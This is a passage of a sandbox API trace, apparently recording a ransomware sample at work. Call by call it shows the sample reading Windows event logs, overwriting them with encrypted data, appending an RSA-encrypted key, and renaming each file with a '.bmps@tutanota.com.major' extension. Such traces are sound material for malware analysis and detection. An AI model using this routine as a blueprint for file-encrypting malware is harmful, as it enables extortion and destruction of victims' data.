lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.236] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.236] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.236] CloseHandle (hObject=0x460) returned 1 [0123.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.237] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.239] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.239] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.239] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0118 | out: hHeap=0x570000) returned 1 [0123.239] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b68 | out: hHeap=0x570000) returned 1 [0123.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0123.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.239] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.239] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0123.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0123.239] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0123.239] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.240] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.240] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.265] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.265] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.267] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.267] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.267] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="vkKfWSxs82CYjz9TxjlyOhS6u4f0owLdxON3Z+7IrUTvasnNNcF14CtryaWr08/F\nULD8U6Tq8tOGNy6X6T6ehIwFf0mzqmRKfsppYyB5U8clHXU3w6SlbDq1SFnT70I5\nx34/1r1tr+Y7/J0rJW0K/K8rr14ss3pyXmFhihJPHS6gy5LqelSorOh1n6TM5SBi\nCQItieDvifPhqBgYhOVcSWjjBqNC0Aq6mqAJh2F9O/SU8wMvjYx29cbzawYdRzHC\nPKTTp1n9oJ0WQYAJM7sQVf+ESzwZUcrq49vL0lia99+kx6SAcIRK/9FLNiow91W4\nROu4Rr2kdCXx3EgsOgr/jA==\n", pcchString=0x2e3f9a8) returned 1 [0123.268] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.268] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.268] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.269] CloseHandle (hObject=0x460) returned 1 [0123.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.270] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b11f0 | out: hHeap=0x570000) returned 1 [0123.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0123.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0123.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0cd0 [0123.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0123.277] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.277] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0c58 [0123.285] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0123.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0c58 | out: hHeap=0x570000) returned 1 [0123.285] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.286] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.286] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.299] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.299] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.299] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.300] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.302] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.303] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.303] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.303] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.304] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.304] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.304] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="LfUcws9l+fdiuC3dABlc3ojA6/NugrQJqRAjLy/HlGtut59dT0u1rUv82AheSjCr\nu+XiJhyILU5gG0M6/OaP83ZSZPQkFFGYP3DxkDKuH8y36H5PwU7tVUNdpdowELMm\nfd8fGqv7zzmqNuhYZWVj64UZUGG5jaYjBm3rIJc4cm4FJngltJuEK9SeehYmTNRt\nzbOAiQl0xb80tmJYTJQzZTwh479CzrWigyu0j4GRfHBbEWXXThOh1mC/UqLh8gz6\n4P/kTnQLvoLSTaCRBtgW5cd0TjC8yNxd9xQYnFb8I2sdob4oqEqVaC20PpQn/u97\n+D4hT+H6ZFjePYsmVK4/UQ==\n", pcchString=0x2e3f9a8) returned 1 [0123.304] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.304] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.304] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.304] CloseHandle (hObject=0x460) returned 1 [0123.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.306] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.310] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.310] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0123.310] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0cd0 | out: hHeap=0x570000) returned 1 [0123.310] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0640 | out: hHeap=0x570000) returned 1 [0123.310] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0123.310] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0123.310] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.310] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0123.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0123.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0123.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0123.311] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.311] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.311] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.311] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.348] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.348] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.349] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.349] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.349] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.350] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.350] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.351] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.351] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.351] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="1CpCmmWYFR4hxDYpYuxzG22iiWx8YSrUMxa8TuvUuAYu1WvZvdW5I4KMgBde88Gr\nP9u6ejQbG/gzHyTLZRKgQP/7cz7soHGPqBliv8XcPq8Kp31rZcE5S2Qqq8tflJtf\nyZ/0qalmp1hb7+4WLabdRmtblVeh4Dk4Hwyg75KC5lpcvUStvsy8ZWtwEAnUXaH6\nQ1f9RlvCitPFnAyJvCyBZRk4O9fm4It8Mc5iAywCJfHIc/5UAcln3EopE79E1wmf\n27StkPtSUFEBGDYafTvI+tZqBVh+/4NdkUqA4EkrNJ2ZYjzw5r8JlAvCc1eKbK6M\n0AoPmE83BJqKwHU4kJDLQQ==\n", pcchString=0x2e3f9a8) returned 1 [0123.351] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.351] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.351] CloseHandle (hObject=0x460) returned 1 [0123.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.353] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0123.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0123.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0123.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0123.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d02f8 [0123.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.355] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.355] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", dwFileAttributes=0x80) returned 1 [0123.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d0be0 [0123.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0123.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0be0 | out: hHeap=0x570000) returned 1 [0123.356] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0123.357] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0123.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0123.357] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0123.357] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.361] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.361] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0123.361] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0123.362] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0123.364] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0123.364] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.364] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.365] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0123.365] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0123.366] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0123.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5f88 [0123.366] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5f88, pcchString=0x2e3f9a8 | out: pszString="ymAh4zSXdWjGcRe3rx67mX+wLaYu160GkVI3F+5CCOoeTmLRCNWabRZyhn/IjLQ/\nrZB2PLuv1Apr5AeH8o/VD29jC8OZJFm8pC7caiXD7NSQlRXNP1IIK4UAK1eSXYE2\nQIzaE3qPxXRF1z6HU36ZAbhd2/IOp+eUCgD6dK5Kp3XetkY4b4tmuab7nboU8I5Q\nxG8DFEYoTy1H6i6IslzOzpE8wDNrBwuHVYDpJcnFNkg+Dd9kMMHNxw238fvI4+tw\nmRH8Xr4nEIvHHoHbb3SqTs60e6vwQp6tYsHRtkO+fdkjLpNKxhEmhpkheD9KCoOU\nKMEUbMM6qr8R5kijzH/6pQ==\n", pcchString=0x2e3f9a8) returned 1 [0123.366] WriteFile (in: hFile=0x460, lpBuffer=0x5b5f88*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5f88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0123.367] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0123.367] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0123.367] CloseHandle (hObject=0x460) returned 1 [0123.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5f88 | out: hHeap=0x570000) returned 1 [0123.369] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0123.370] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0123.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0123.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d02f8 | out: hHeap=0x570000) returned 1 [0123.371] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d8 | out: hHeap=0x570000) returned 1 [0123.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5d03e8 [0123.371] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0123.371] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0123.371] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", dwFileAttributes=0x80) returned 1 [0123.371] RtlAllocateHeap 